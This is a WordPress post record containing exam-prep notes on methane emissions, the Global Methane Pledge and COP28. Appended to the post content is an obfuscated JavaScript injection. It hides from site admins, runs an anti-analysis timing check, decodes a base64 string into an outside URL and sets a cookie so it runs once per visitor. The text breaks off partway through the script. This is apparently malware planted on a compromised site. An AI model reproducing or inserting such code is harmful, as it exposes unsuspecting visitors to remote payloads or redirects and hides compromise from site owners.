{"id":388,"date":"2023-11-30T07:57:53","date_gmt":"2023-11-30T07:57:53","guid":{"rendered":"https:\/\/iasquest.com\/?p=388"},"modified":"2026-02-11T19:29:15","modified_gmt":"2026-02-11T19:29:15","slug":"methane-emissions-to-take-center-stage-at-cop-28","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/methane-emissions-to-take-center-stage-at-cop-28\/","title":{"rendered":"Methane emissions to take center stage at COP 28"},"content":{"rendered":"\n<ul class=\"wp-block-list\">\n<li>The upcoming UN climate talks in the UAE are anticipated to focus heavily on methane emissions, especially in light of China\u2019s recent commitment to include this potent <strong>greenhouse gas<\/strong> in its 2035 climate plans. However, experts believe that this development may not significantly impact India, as the country is already implementing initiatives centered around agriculture that have climate co benefits.<\/li>\n\n\n\n<li>Methane is a powerful but <strong>short-lived climate pollutant<\/strong> that accounts for a third of net warming since the Industrial Revolution<\/li>\n\n\n\n<li>Rapidly reducing methane emissions from energy, agriculture, and waste can achieve near-term gains in our efforts in this decade for decisive action and is regarded as the single most effective strategy to keep the goal of limiting warming to 1.5\u02daC within reach while yielding co-benefits, including improving public health and agricultural productivity.<\/li>\n\n\n\n<li>The <strong>Global Methane Pledge (GMP)<\/strong> is a voluntary framework supporting nations to take action to collectively reduce methane emissions by 30% from 2020 levels by 2030. This could eliminate over 0.2\u02daC of warming by 2050.<\/li>\n\n\n\n<li>The GMP was launched on the sidelines of COP26 in 2021 by <strong>Climate and Clean Air Coalition (CCAC) <\/strong>partners United States and European Commission. The GMP now has over 150 country participants, representing nearly 50% of global anthropogenic methane emissions.<\/li>\n\n\n\n<li>The Pledge aims to catalyze global action and strengthen support for existing international methane emission reduction initiatives to advance technical and policy work that will serve to underpin Participants\u2019 domestic actions.<\/li>\n\n\n\n<li>The Pledge also recognizes the essential roles that the private sector, development banks, financial institutions and philanthropy play in supporting the implementation of the Pledge and welcomes their efforts and engagement.<\/li>\n\n\n\n<li>The EU and the US jointly launched the \u201cGlobal Methane Pledge\u201d in 2021 to reduce worldwide methane emissions by <strong>30 per cent by 2030<\/strong>, compared to the 2020 levels. Around 150 countries have signed on, but China, India and Russia are among the prominent emitters yet to get on board. Earlier this month, the US and China \u2014 the world\u2019s top two carbon emitters \u2014 pledged to include methane in their 2035 national plans to reduce emissions of planet heating gases.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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